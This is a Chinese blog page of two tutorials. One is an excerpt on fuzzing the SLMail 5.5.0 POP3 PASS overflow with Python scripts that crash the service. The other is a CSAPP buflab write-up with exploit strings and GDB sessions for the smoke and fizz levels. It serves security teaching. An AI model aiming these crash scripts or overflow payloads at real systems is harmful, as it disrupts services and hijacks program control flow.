精华内容
下载资源
问答
  • MS08-067( Windows Server服务RPC请求缓冲区溢出漏洞)远程缓冲区溢出攻击测试
  • SLMail缓冲区溢出攻击模糊测试过程

    千次阅读 2018-07-01 19:35:54
    缓冲区溢出原理: http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html 需要工具下载地址: https://pan.baidu.com/s/1OoOQ5GoYZ4lxNsapJVPuhA 一、准备 环境:Windows xp【系统缓冲区溢出...

    作者:MISS WU

    缓冲区溢出原理:
    http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
    需要工具下载地址:
    https://pan.baidu.com/s/1OoOQ5GoYZ4lxNsapJVPuhA
    一、准备
    环境:Windows xp【系统缓冲区溢出,多是其服务】
    靶机:winXP【不建议win7、win8,因为XP系统没有安全防护机制】
    目标程序:SLMail 5.5.0 Mail Server(邮件服务器)【POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。】
    动态调试工具:ImmunityDebugger
    脚本:mona.py【用于定位进程模块,移动仅Debug的Pycommend文件中】
    操作机:kali2.0

    注:绕过防火墙或关闭防火墙
    首先确保pop3服务已经启动,关闭xp的防火墙,或增加pop3 110端口和SMTP 25 端口
    这里写图片描述
    这里写图片描述

    然后打开ImmunityDebugger,点击attach
    打开我们的SLMail服务,右键attach

    这里写图片描述
    这里写图片描述

    二、测试哪个命令会出现缓冲区溢出
    1.测试端口

    这里写图片描述
    这里写图片描述

    利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限。

    1. POP3模糊测试
      首先要在我们的ImmunityDebugger下点击红色的运行按钮,让我们的slmail跑起来。

    01.py【基本功能实现】

    01.py【基本功能实现】
    
    #!/usr/bin/python
    
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.1.126",110))
    data = s.recv(1024) ###将110端口返回的数据显示在屏幕中
    print data
    
    s.send("USER Xuan"+"\r\n")
    data = s.recv(1024)
    print data
    
    s.send("PASS test\r\n")
    data = s.recv(1024)
    print data
    
    s.close()
    print "\nDone"
    
    except:
    print "Could not connect to POP3!"

    这里写图片描述

    02.py【不断增大发送量,通过Debug确定是否会溢出】
    
    #!/usr/bin/python
    
    import socket
    
    buffer=["A"]
    counter=100
    while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter=counter+200
    
    for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(("192.168.1.126",110))
    s.recv(1024)
    s.send("USER test"+"\r\n")
    s.recv(1024)
    s.send("PASS "+string+"\r\n")
    s.send("QUIT\r\n")
    s.close()

    这里写图片描述

    当输入的PASS字符为2700的时候,程序不会运行下去了,在xp下的slmail崩溃了

    这里写图片描述
    这里写图片描述

    ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖
    EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode
    注:模糊测试过程需不断将服务重启,过程比较繁琐
    分析:
    我们发现,EIP寄存器内充满了4141,而41,其实就是我们A的ASCII码,我们可以推测出,当我们发送的字符串为2700个A的时候,缓冲区发生了溢出,这里先解释一下eip寄存器,EIP寄存器存放该进程的下一步要执行指令的地址,在这里我们就可以利用EIP寄存器,存放我们想要执行的shellcode的地址,这样就可以达到控制该系统的目的。那么问题来了,EIP寄存器内的A到底是2700个字符串内的第几个A呢?因为只有当我们知道EIP寄存器内的A的位置,我们才可以将我们想令程序执行的地址精确的填入到该寄存器当中,这里我们可以用2分法来测字符的位置,比如先测2600,2600不对测2650。。。我们也可以用唯一字符串法,就是说我们发给pass的2700个字符串里四个为一组,这四个字符串唯一,这样我们也可以来确定位置,kali下也有现成的工具。
    这里需要大家注意一个问题:每次我们发送完我们的python脚本,slmail都会崩溃,所以我们需要重启我们的pop3服务。

    03.py【手动尝试,找到溢出范围】
    
    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2600
    
    try:
    print "\nSending evil buffer..."
    s.connect(("192.168.1.126",110))
    data = s.recv(1024)
    s.send("USER test"+"\r\n")
    data = s.recv(1024)
    s.send("PASS "+buffer+"\r\n")
    print "\nDone!."
    except:
    print "Could not connect to POP3!"
    ~
    展开全文
  • 缓冲区溢出攻击实验实验介绍实验任务实验数据目标程序 bufbomb 说明ufbomb 程序接受下列命令行参数目标程序bufbomb中函数之间的调用关系缓冲区溢出理解目标程序调用的**getbuf**函数:过程调用的机器级表示test函数...

    实验介绍

    此次实验的目的在于加深对 IA-32 过程调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插 入到栈中特定内存位置)和行为,以实现实验预定的目标。

    实验任务

    实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击。

    6个难度逐级递增的实验级别:

    • Level 0: smoke (使目标程序调用smoke函数)
    • Level 1: fizz (使目标程序使用特定参数调用fizz函数)
    • Level 2: bang (使目标程序调用bang函数修改全局变量)
    • Level 3: rumble (使目标程序调用rumble函数传递调用参数)
    • Level 4: boom (包含栈帧修复的无感攻击,并传递有效返回值)
    • Level 5: kaboom (实现栈帧地址随机变化下的有效攻击)

    每级实验需根据任务目标,设计、构造1个攻击字符串, 对目标程序实施缓冲区溢出攻击,完成相应目标

    实验数据

    在本实验中,首先你需要从下列链接下载包含本实验相关文件的一个 tar 文件:

    http://cs.nju.edu.cn/sufeng/course/mooc/0809NJU064_buflab.tar

    可在 Linux 实验环境中使用命令“tar xvf 0809NJU064_buflab.tar”将其中包含的文件 提取到当前目录中。该 tar 文件中包含如下实验所需文件:

    • bufbomb: 实验需要攻击的目标 buffer bomb 程序。
    • makecookie: 该程序基于命令行参数给出的 ID,产生一个唯一的由 8 个 16 进制数字组成的字节序列(例如 0x1005b2b7),称为“cookie”,用作实验中可能需要置入栈中的数据之一。
    • hex2raw: 字符串格式转换程序。

    目标程序 bufbomb 说明

    bufbomb 程序接受下列命令行参数
    • -u userid: 以给定的用户ID“userid”运行程序。在每次运行程序时均应指定该参数,因为 bufbomb 程序将基于该 ID 决 定你应该使用的 cookie 值(与 makecookie 程序的输出相同),而 bufbomb 程序 运行时的一些关键栈地址取决于该 cookie 值。
    • -h: 打印可用命令行参数列表
    • -n: 以“Nitro”模式运行,用于 kaboom 实验阶段
    目标程序bufbomb中函数之间的调用关系


    如图所示,bufbombmain函数调用了launcher函数,launcher函数调用了launch函数,launch函数进一步调用了test函数,而test函数又调用了getbuf函数。在实验中目标程序被攻击的地方,实际上位于getbuf函数中,可以看到test函数还有一个名为testn的版本,同样getbuf函数也有一个getbufn的版本。

    testn、getbufn仅在Nitro模式(Level 4 :kaboom)中被调用,其它级别均调用 test、getbuf函数,最后一个实验级别kaboom中,launch,testn,getbufn函数会被反复调用多次(默认为5次),以测试所实现攻击的鲁棒性,只有当连续5次攻击都成功时,才认为完成了最后的实验级别。

    缓冲区溢出理解

    作为被目标攻击的目标程序,bufbomb程序中容易被实施缓冲区溢出攻击的弱点,实际上位于前面所示函数调用层次最下层的那个getbuf函数中。

    目标程序调用的getbuf函数:
    /* Buffer size for getbuf */
    int getbuf()
    {
       other variables ...;
       char buf[NORMAL_BUFFER_SIZE];
       Gets(buf);
       return 1;
    }
    

    在这个getbuf函数中首先定义了一个长度固定为NORMAL_BUFFER_SIZE的字符数组,然后调用Gets函数向数组中写入字符串。其中,过程 Gets 类似于标准库过程 gets,它从标准输入读入一个字符串(以换行‘\n’或 文件结束 end-of-file 字符结尾),并将字符串(以 null 空字符结尾)存入指定的目标内存位 置。在 getbuf 过程代码中,目标内存位置是具有 NORMAL_BUFFER_SIZE 个字节存储空间的 数组 buf,而 NORMAL_BUFFER_SIZE 是大于等于 32 的一个常数。

    过程 **Gets()**并不判断 buf 数组是否足够大而只是简单地向目标地址复制全部输入 字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。如果用户输入给 getbuf() 的字符串不超过(NORMAL_BUFFER_SIZE-1)个字符长度的话,很明显 **getbuf()**将正常返回 1。

    如下列运行所示:

    但是,如果输入一个更长的字符串,则可能会发生类似下列的错误:

    过程调用的机器级表示

    为了理解缓冲区溢出攻击的原理,以过程调用的基于栈桢的机器级实现机制来进一步理解。

    栈桢:当前执行过程在内存中对应的一个区域,其中保存了当前局部变量和调用现场等重要的状态信息,每个过程在执行时都对应自己的栈桢区域。

    如图中所示,当一个过程调用另外一个过程时,被调用过程会生成一个自己的栈桢。在IA32 Linux平台上,它位于比调用过程的栈桢更低的内存地址上。在一个过程的栈桢中,一开始保存的是由该过程保存的寄存器的原始内容,其中取决于过程的具体实现指令,通常最先保存的是栈桢基址寄存器EBP在调用过程中的原始值,又称为旧值。而EBP寄存器的当前值就是指向栈桢中该旧值的存储位置,它标示了当前过程的栈桢的起始位置,在栈桢其后的存储位置中保存了本过程定义和使用的非静态的局部变量。其中前面介绍的getbuf函数中的buf字符数组就是位于此处,可见Gets函数向buf的数组的写入操作如果超出了数组的边界,会改写和破坏栈中其它重要的信息。包括上面所述的局部变量和寄存器的旧值。

    具体来讲,随着字符串数据自buf数组的起始位置开始不断的被写入,数据将逐步填充buf数组的存储空间,当写入操作超出了buf数组的边界以后,将进一步依次覆盖,改写保存的寄存器的值。接下来的写入操作将超出当前过程的栈桢的边界,进入到调用过程的栈桢,并首先改写其中保存的一个重要信息——返回地址,该返回地址是当前过程执行结束后,控制返回调用过程时将被执行的指令的地址,一旦缓冲区写入溢出过程中被改写为不正确的值或者指向恶意的指令代码,将使程序的执行逻辑在当前过程结束后发生错误,或者转去执行恶意代码。这就是缓冲区溢出攻击得以实现的基本原理,即超出栈桢中数组缓冲区的存储边界,向栈桢中写入任意数据,从而破坏栈桢的结构

    test函数调用getbuf函数
    void test()
    {
    	int val;
    	/* Put canary on stack to detect possible corruption */ 
    	volatile int local = uniqueval();
    	
    	val = getbuf();
    	
    	/*Checkforcorruptedstack*/ 
    	if (local != uniqueval()) {
    		printf("Sabotaged!: the stack has been corrupted\n"); 
    	}
    	else if (val == cookie) {
    		printf("Boom!: getbuf returned 0x%x\n", val); validate(3);
    	} 
    	else {
    		printf("Dud: getbuf returned 0x%x\n", val);
    	} 
    }
    

    被攻击的包含缓冲区写入逻辑的getbuf函数在程序中被test函数所调用后序正常情况下应该从test函数中

    getbuf调用后的第一条语句开始继续执行,这是程序的正常行为,因为test函数栈帧最后保存的返回地址单元中保存的值,在正常情况下,是指向 test函数中调用getbuf函数的call指令后 的第一条指令的地址。然而本实验各阶段的目的是改变该行为。

    工具程序 hex2raw 说明

    由于攻击字符串(exploit string)可能包含不属于 ASCII 可打印字符集合的字节取值, 因而无法直接编辑输入。为此,实验提供了工具程序 hex2raw 帮助构造这样的字符串。该程序从标准输入接收一个采用十六进制格式编码的字符串(其中使用两个十六进制数字对攻击字符串中每一字节的值进行编码表示,不同目标字节的编码之间用空格或换行等空白字符分 隔),进一步将输入的每对编码数字转为二进制数表示的单个目标字节并逐一送往标准输出。

    注意,为方便理解攻击字符串的组成和内容,可以用换行分隔攻击字符串的编码表示中 的不同部分,这并不会影响字符串的解释和转换。hex2raw 程序还支持 C 语言风格的块注释 以便为攻击字符串添加注释,增加了转换前攻击字符串的可读性(如下例),这同样不影响字符串的解释与使用。

    bf 66 7b 32 78 / mov $0x78327b66,%edi */*

    攻击字符串示例

    注意务必要在开始与结束注释字符串(“/”和“/”)前后保留空白字符,以便注释部分被 程序正确忽略。

    另外,注意:

    • 攻击字符串中不能包含值为 0x0A 的字节,因为该字符对应换行符‘\n’,当 Gets过程遇到该字符时将认为该位置为字符串的结束,从而忽略其后的字符串内容。

    • 由于 hex2raw 期望字节由两个十六进制格式的数字表示,因此如果想构造一个值为 0 的字节,应指定 00 进一步,可将上述十六进制数字对序列形式的攻击字符串(例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”)保存于一文本文件中,用于测试等。

      以下是一个攻击字符串的示例:

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00
    /* begin of buffer */
    20 35 68 55      /* new %ebp */
    b7 34 68 55       /* new address */
    

    辅助程序makecookie

    如前所述,本实验部分阶段的正确解答基于从 bufbomb 命令行选项 userid计算生成的 cookie 值。一个 cookie 是由 8 个 16 进制数 字组成的一个字节序列(例如 0x1005b2b7),对每一个 userid 是唯一的。可以如下使用 makecookie 程序生成对应特定 userid 的 cookie,即将 userid 作为 makecookie 程序的唯一 参数。


    0x420e0c1b 即为 0809NJU064 对应的 cookie 值。

    测试攻击字符串

    可将攻击字符串保存在一文件 solution.txt 中,使用如下命令(将参数[userid]替换为自己想要改成的Id )测试攻击字符串在 bufbomb 上的运行结果,并与相应难度级的期望输出对比,以验证相应实验阶段通过与否。

     linux>cat solution.txt | ./hex2raw | ./bufbomb -u [userid]
    

    上述命令使用一系列管道操作符将程序 hex2raw 从编码字符串转换得到的目标攻击字节序 列输入 bufbomb 程序中进行测试。

    除上述方式以外,还可以如下将攻击字符串的二进制字节序列存于一个文件中,并使用 I/O 重定向将其输入给 bufbomb:

     linux>./hex2raw < solution.txt > solution-raw.txt
     linux>./bufbomb -u [userid] < solution-raw.txt
    

    该方法也可用于在 GDB 中运行 bufbomb 的情况:

    linux>gdb bufbomb
     (gdb) run -u [userid] < solution-raw.txt
    

    当你设计的攻击字符串成功完成了预定的缓冲区溢出攻击目标,例如实验 Level 0 (smoke),程序将输出类似如下的信息,提示你的攻击字符串(此例中保存于文件 smoke.txt 中)设计正确:

     ./hex2raw < smoke.txt | ./bufbomb -u 0809NJU064
    Userid: 0809NJU064
    Cookie: 0x420e0c1b
    Type string:Smoke!: You called smoke()
    VALID
    NICE JOB!
    

    实验基本步骤

    本实验各个级别的求解过程,都包括类似的如下三个主要步骤。

    1. 反汇编二进制目标程序bufbomb,获得其汇编指令代码

    2. 从汇编指令中分析获得getbuf函数执行时的栈 帧结构,定位buf数组缓冲区在栈帧中的位置

    3. 根据栈帧中需要改变的目标信息及其与缓冲区 的相对位置,设计攻击字符串

    各个实验的不同级别的主要差别就在地三步,也就是说在不同级别里面需要改变的目标信息各不相同,因此,在在设计攻击字符串的时候,会有不同攻击字符串的设计解答。

    实验Level 0: smoke

    实验目的:

    构造攻击字符串,使得bufbomb目标程序在 getbuf函数执行return语句后,不是返回到test函数继续 执行,而是转而执行bufbomb程序中的smoke函数:

    void smoke() {
    
     printf("Smoke!: You called smoke()\n"); validate(0);
     exit(0);
    
    }
    

    思路分析

    利用objdump反汇编bufbomb执行文件,并将反汇编结果保存到bufbomb.txt文件中方便查看。

    objdump -d bufbomb>bufbomb.txt
    

    其中getbuf的汇编代码:

    08049c5a <getbuf>:
     8049c5a:    55           push  %ebp
     8049c5b:    89 e5          mov  %esp,%ebp
     8049c5d:    83 ec 48        sub  $0x48,%esp
     8049c60:    83 ec 0c        sub  $0xc,%esp
     8049c63:    8d 45 c7        lea  -0x39(%ebp),%eax
     8049c66:    50           push  %eax
     8049c67:    e8 b9 fa ff ff     call  8049725 <Gets>
     8049c6c:    83 c4 10        add  $0x10,%esp
     8049c6f:    b8 01 00 00 00     mov  $0x1,%eax
     8049c74:    c9           leave
     8049c75:    c3           ret
    

    如汇编指令所示,getbuf函数在调用Gets函数时,将缓冲区数组的起始地址作为参数压入栈中,并传递给Gets函数,从汇编指令可以看出,buf缓冲区开始于栈桢中地址EBP-0x39处,该参数的值即缓冲区的起始地址。是EBP寄存器的值减去0x39换成十进制就是57,基于以上分析和getbuf函数的汇编代码,我们可以画出如下图所示的getbuf函数的栈桢结构,以及其调用函数test的栈桢的底部区域结构:

    在内存高地址上是test函数的栈桢,其底部保存的是返回地址,即其所调用的getbuf函数结束后将跳转到并继续执行的指令地址,在正常情况下这个地址是test函数中调用getbuf函数后的下一条指令的地址,在返回地址下面是ge tbuf函数栈桢的开始部分,保存了EBP寄存器在test函数中执行的旧值,getbuf栈桢中再往下就是buf数组缓冲区的存储空间。为了实施攻击我们需要获得该缓冲区确切的起始地址,如上面的getbuf汇编指令所示,getbuf函数在调用Gets函数时将缓冲区数组的起始地址作为参数压入栈中,并传递给了Gets函数,进一步我们可以从汇编指令看到,该参数的值就是缓冲区的起始地址,是EBP寄存器的值减去Ox39。

    另一方面,getbuf函数结束后,即执行最后的ret语句时, 将取出保存于test函数栈桢中的返回地址并跳转至它继续执行,如果我们把该返回地址的值改为本级别实验的目标——smoke函数饿首条指令的地址,则getbuf函数返回时,就会转到smoke函数执行,即达到了实验的目标。

    由栈桢结构可以看出,返回地址在栈桢中的地址是EBP寄存器的值加4,因此该返回地址的保存地址与缓冲区的起始地址之间相差:0x39+4 = 61个字节,也就是说如果向缓冲区写入66个字节后,再写入4个字节,将改写返回地址的值。

    Level 0求解思路

    将攻击字符串中自第67个字节开始的4个字节设置为实验的目标跳转地址,即smoke函数首条指令的地址,我们搜索bufbomb目标程序的反汇编代码可以发现smoke函数的首条指令的地址是0x080493e8,因此我们可以如下构造字符串:

    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 /* end of buffer */
    00 11 22 33 /* saved %ebp */
    e8 93 04 08 /* smoke() address */
    

    前57个字节用于填充缓冲区,与实验目标无关,因此可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,再接下来的四个字节将用于改写栈桢中所保存的返回地址,因此我们把它们设置为smoke函数首条指令的地址,按照iA-32平台的小端顺序方式,这四个字节依次是 e8 93 04 08 ,这样当攻击字符串被Gets函数写入缓冲区后,栈桢中保存的返回地址将被修改为指向smoke函数。这样,当getbuf函数结束后,将跳转到函数smoke执行,从而实现了实验目标。

    GDB调试观察求解过程

    在smoke.txt文件中我们写入了以上构造的攻击字符串,首先使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在smoke-raw.txt文件中。

    ./hex2raw < smoke.txt > smoke-raw.txt
    

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb 
    

    由bufbomb程序的汇编指令可以看出,我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在这两个断点处它的栈桢和它的调用函数的栈桢也就是test函数的栈桢是否有发生变化。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

    (gdb) b *0x8049c66
    Breakpoint 1 at 0x8049c66
    (gdb) b *0x8049c6c
    Breakpoint 2 at 0x8049c6c
    (gdb)
    

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件smoke-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < smoke-raw.txt
    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < smoke-raw.txt
    Userid: 631807060623
    Cookie: 0x6822364a
    
    Breakpoint 1, 0x08049c66 in getbuf ()
    

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——给出了getbuf函数栈桢的起始地址的寄存器内容。

    (gdb) print $ebp
    $1 = (void *) 0x556833c0 <_reserved+1037248>
    

    在gebuf函数之上是test函数的栈桢,在test函数栈桢的最后存放的是一个返回地址,这个返回地址应该是在test函数调用getbuf函数的call指令之后的那条指令的地址,由test函数的汇编代码可以知道,调用gebuf函数的call指令的地址是0x804959b,在执行这条call指令的时候,一是把call指令的下条指令也就是mov指令的地址 80495a8压入栈中作为返回地址,因此bufbomb程序正常执行时,test函数调用gebuf函数时,正确的返回地址是0x80495a0

    0804958d <test>:
     804958d:       55                      push   %ebp
     804958e:       89 e5                   mov    %esp,%ebp
     8049590:       83 ec 18                sub    $0x18,%esp
     8049593:       e8 4c 04 00 00          call   80499e4 <uniqueval>
     8049598:       89 45 f0                mov    %eax,-0x10(%ebp)
     804959b:       e8 ba 06 00 00          call   8049c5a <getbuf>
     80495a0:       89 45 f4                mov    %eax,-0xc(%ebp)
     80495a3:       e8 3c 04 00 00          call   80499e4 <uniqueval>
     80495a8:       89 c2                   mov    %eax,%edx
     80495aa:       8b 45 f0                mov    -0x10(%ebp),%eax
     80495ad:       39 c2                   cmp    %eax,%edx
     80495af:       74 12                   je     80495c3 <test+0x36>
     80495b1:       83 ec 0c                sub    $0xc,%esp
     80495b4:       68 34 b1 04 08          push   $0x804b134
     80495b9:       e8 62 fb ff ff          call   8049120 <puts@plt>
     80495be:       83 c4 10                add    $0x10,%esp
     80495c1:       eb 41                   jmp    8049604 <test+0x77>
     80495c3:       8b 55 f4                mov    -0xc(%ebp),%edx
     80495c6:       a1 00 d3 04 08          mov    0x804d300,%eax
     80495cb:       39 c2                   cmp    %eax,%edx
     80495cd:       75 22                   jne    80495f1 <test+0x64>
     80495cf:       83 ec 08                sub    $0x8,%esp
     80495d2:       ff 75 f4                pushl  -0xc(%ebp)
     80495d5:       68 5d b1 04 08          push   $0x804b15d
     80495da:       e8 81 fa ff ff          call   8049060 <printf@plt>
     80495df:       83 c4 10                add    $0x10,%esp
     80495e2:       83 ec 0c                sub    $0xc,%esp
     80495e5:       6a 04                   push   $0x4
     80495e7:       e8 eb 07 00 00          call   8049dd7 <validate>
     80495ec:       83 c4 10                add    $0x10,%esp
     80495ef:       eb 13                   jmp    8049604 <test+0x77>
     80495f1:       83 ec 08                sub    $0x8,%esp
     80495f4:       ff 75 f4                pushl  -0xc(%ebp)
     80495f7:       68 7a b1 04 08          push   $0x804b17a
     80495fc:       e8 5f fa ff ff          call   8049060 <printf@plt>
     8049601:       83 c4 10                add    $0x10,%esp
     8049604:       90                      nop
     8049605:       c9                      leave
     8049606:       c3                      ret
    

    在gebuf函数之上是test函数的栈桢,也就是test函数的栈桢的最后一项是返回地址,其中返回地址的存储地址应该是EBP寄存器的值加上4,查看EBP寄存器加上4存放的返回地址。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x080495a
    

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,这就验证上面所分析的结果。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c
    Continuing.
    Breakpoint 2, 0x08049c6c in getbuf ()
    

    到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区,并且可能覆盖了栈桢的一些关键信息,查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4
    
    0x556833c4 <_reserved+1037252>:	0x080493e8
    

    可以看到返回地址的存储位置上的值已经变成了0x080493e8,这就是我们在攻击字符串中设置的指向了smoke函数的第一条指令的地址。

    继续运行目标程序。

    (gdb) c
    Continuing.
    Type string:Smoke!: You called smoke()
    VALID
    NICE JOB!
    [Inferior 1 (process 2638) exited normally]
    

    出现了一些文本,通过这些文本可以看出我们的确成功调用了smoke函数,也就是成功完成了Level 0: smoke的实验任务。

    实验Level 1: fizz

    实验目的:

    本实验级别的任务是让 bufbomb 程序在其中的 getbuf 过程执行 return 语句后转而执行 fizz 过程的代码,而不是返回到 test 过程。

    void fizz(int val)
    {
    	if (val == cookie) {
    		printf("Fizz!: You called fizz(0x%x)\n", val);
    		validate(1);
    	} 
    	else
    	  printf("Misfire: You called fizz(0x%x)\n", val); 
    	exit(0);
    }
    

    不过,与 Level 0 的 smoke 过程 不同,fizz 过程需要一个输入参数,如上列代码所示,本级别要求设法使该参数的值等于使makecookie 得到的 cookie 值。

    注意事项

    在本缓冲区溢出攻击实验中,我们并不能修改bufbomb目标程序中的任何指令和数据,包括fizz函数中的比较和条件分支指令以及cookie全局变量的值,所能改变的只是getbuf函数栈桢结构中的部分内容。

    思路分析

    fizz函数汇编指令:

    08049415 <fizz>:
     8049415:    55           push  %ebp
     8049416:    89 e5          mov  %esp,%ebp
     8049418:    83 ec 08        sub  $0x8,%esp
     804941b:    8b 55 08        mov  0x8(%ebp),%edx
     804941e:    a1 00 d3 04 08     mov  0x804d300,%eax
     8049423:    39 c2          cmp  %eax,%edx
     8049425:    75 22          jne  8049449 <fizz+0x34>
     8049427:    83 ec 08        sub  $0x8,%esp
     804942a:    ff 75 08        pushl 0x8(%ebp)
     804942d:    68 66 b0 04 08     push  $0x804b066
     8049432:    e8 29 fc ff ff     call  8049060 <printf@plt>
     8049437:    83 c4 10        add  $0x10,%esp
     804943a:    83 ec 0c        sub  $0xc,%esp
     804943d:    6a 01          push  $0x1
     804943f:    e8 93 09 00 00     call  8049dd7 <validate>
     8049444:    83 c4 10        add  $0x10,%esp
     8049447:    eb 13          jmp  804945c <fizz+0x47>
     8049449:    83 ec 08        sub  $0x8,%esp
     804944c:    ff 75 08        pushl 0x8(%ebp)
     804944f:    68 84 b0 04 08     push  $0x804b084
     8049454:    e8 07 fc ff ff     call  8049060 <printf@plt>
     8049459:    83 c4 10        add  $0x10,%esp
     804945c:    83 ec 0c        sub  $0xc,%esp
     804945f:    6a 00          push  $0x0
     8049461:    e8 ca fc ff ff     call  8049130 <exit@plt>
    

    fizz函数接受一个整形的val参数,在函数体中被用来与一个全局变量cookie进行比较。由汇编代码可以看出,其两个寄存器操作数的值分别拷贝自静态数据区,地址0x804d300,和栈中的地址0x8(%ebp),其中地址0x8(%ebp)处存放的就是fizz函数的调用参数val的值,因此0x804d300处存放的就是全局变量cookie的值,为达到实验的目标我们应设法使两个值相等。要使 0x8049423地址处的cmp比较指令能够得到相等的结果。应满足下列两个条件之一:

    • 地址0x8(%ebp)和0x804d300指向的存储器内容相同
    • 两个地址0x8(%ebp)和0x804b150自身相同

    地址0x8(%ebp)实际上就是EBP寄存器的值加上8,要它等于已知的目标数值0x804d300相等,实际上就是想要EBP寄存器的值等于 :0x804d300 -0x8 ,也就是等于0x804d2f8

    因为在本实验并不能修改bufbomb目标程序中的任何指令和数据,因此不可以通过增加指令的方法来直接设置EBP寄存器的值,但是可以发现getbuf函数最后由一条leave指令,这条指令将从栈中弹出函数开始阶段保存的EBP旧值并保存到EBP寄存器中。另一方面栈桢中缓冲区起始地址以上的存储单元的值包括保存了EBP旧值的存储单元,都可以通过缓冲区的溢出,用攻击字符串的内容进行改写,这样就提供了一种间接修改EBP寄存器中值的方法。

    Level 1求解思路

    1. 在攻击字符串中对应EBP旧值的保存位置处,放上前面分析得出的EBP修改的目标值,以使getbuf函数结束前的leave指令将其设置到EBP寄存器中。
    2. 在攻击字符串中对应返回地址的位置处,放上fizz函数中合适指令的地址,以使getbuf函数结束后跳转到该地址处执行。

    对于第2点,目标地址不应像Level 0那样设为fizz函数的首指令地址,因为fizz函数的第二条指令**“mov %esp,%ebp”**将覆盖掉在之前getbuf结束时通过leave指令设置的EBP寄存器中的目标值。本实验并不要求真地调用fizz函数,所以可以直接跳转fizz函数中在cmp比较指令前读取EBP寄存器中值的相应指令。综上所属我们可以构造如下攻击字符串:

    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66/* end of buffer */
    f8 d2 04 08
    1b 94 04 08
    

    前57个字节用于填充缓冲区,与实验目标无关,可以随意设置。接下来的4个字节用于改写栈桢中保存的EBP寄存器中旧值,也就是用于间接设置EBP寄存器的值,因此我们把这四个字节设置为EBP寄存器中的目标值,即全局变量cookid的地址,0x804d300 -0x8 ,等于0x804d2f8,并且按照小端顺序组织,再接着的4个字节将改写栈桢中保存的返回地址,把它设置为fizz函数中在比较指令之前读取EBP寄存器中值的指令 mov 0x8(%ebp),%edx它的地址0x804941b,同样按照小端顺序组织。这样的攻击字符串同时修改了栈桢中保存的EBP的旧值和返回地址。首先通过getbuf函数最后的leave指令,实现对EBP寄存器中值的设置,然后通过ret指令跳转到目标fizz函数中相应指令执行,从而实现了实验目标。

    GDB调试观察Level 1求解过程

    在fizz.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在fizz-raw.txt文件中。

    ./hex2raw < fizz.txt > fizz-raw.txt
    

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb 
    

    我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

    (gdb) b *0x8049c66
    Breakpoint 1 at 0x8049c66
    (gdb) b *0x8049c6c
    Breakpoint 2 at 0x8049c6c
    (gdb)
    

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < fizz-raw.txt
    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < fizz-raw.txt
    Userid: 631807060623
    Cookie: 0x6822364a
    
    Breakpoint 1, 0x08049c66 in getbuf ()
    

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。
